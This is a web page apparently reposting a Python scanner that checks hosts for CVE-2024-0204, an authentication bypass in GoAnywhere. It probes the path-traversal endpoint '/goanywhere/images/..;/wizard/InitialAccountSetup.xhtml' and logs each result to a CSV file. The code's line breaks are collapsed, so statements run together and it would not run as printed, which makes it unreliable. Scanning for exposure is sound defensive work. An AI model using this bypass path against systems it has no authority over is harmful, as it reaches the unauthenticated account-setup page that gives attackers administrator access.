CVE-2024-0204 | 身份认证绕过漏洞

import requestsimport urllib3import sysimport csv
# Disable SSL warningsurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
print("�33[94m===================================")print(" CVE-2024-0204 GoAnywhere Vulnerability Scanner")print("       by Christiaan Beek @ Rapid7 Labs            ")print("===================================�33[0m")
ENDPOINT = "/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml"
defcheck_vulnerability(ip):    url = f"https://{ip}{ENDPOINT}"try:        response = requests.get(url, verify=False, timeout=3)if response.status_code == 200:return"GoAnywhere vulnerable"elif response.status_code == 401:return"GoAnywhere patched"else:return"Unknown status"except Exception as e:return"Connection error"
defmain(ip_address):    status = check_vulnerability(ip_address)    print(ip_address, status)with open('output.csv', 'w', newline='') as csv_file:        writer = csv.writer(csv_file)        writer.writerow(["IP Address", "Status"])        writer.writerow([ip_address, status])
if __name__ == "__main__":if len(sys.argv) != 2:        print("Usage: python script.py <IP_ADDRESS>")        sys.exit(1)    ip_address = sys.argv[1]    main(ip_address)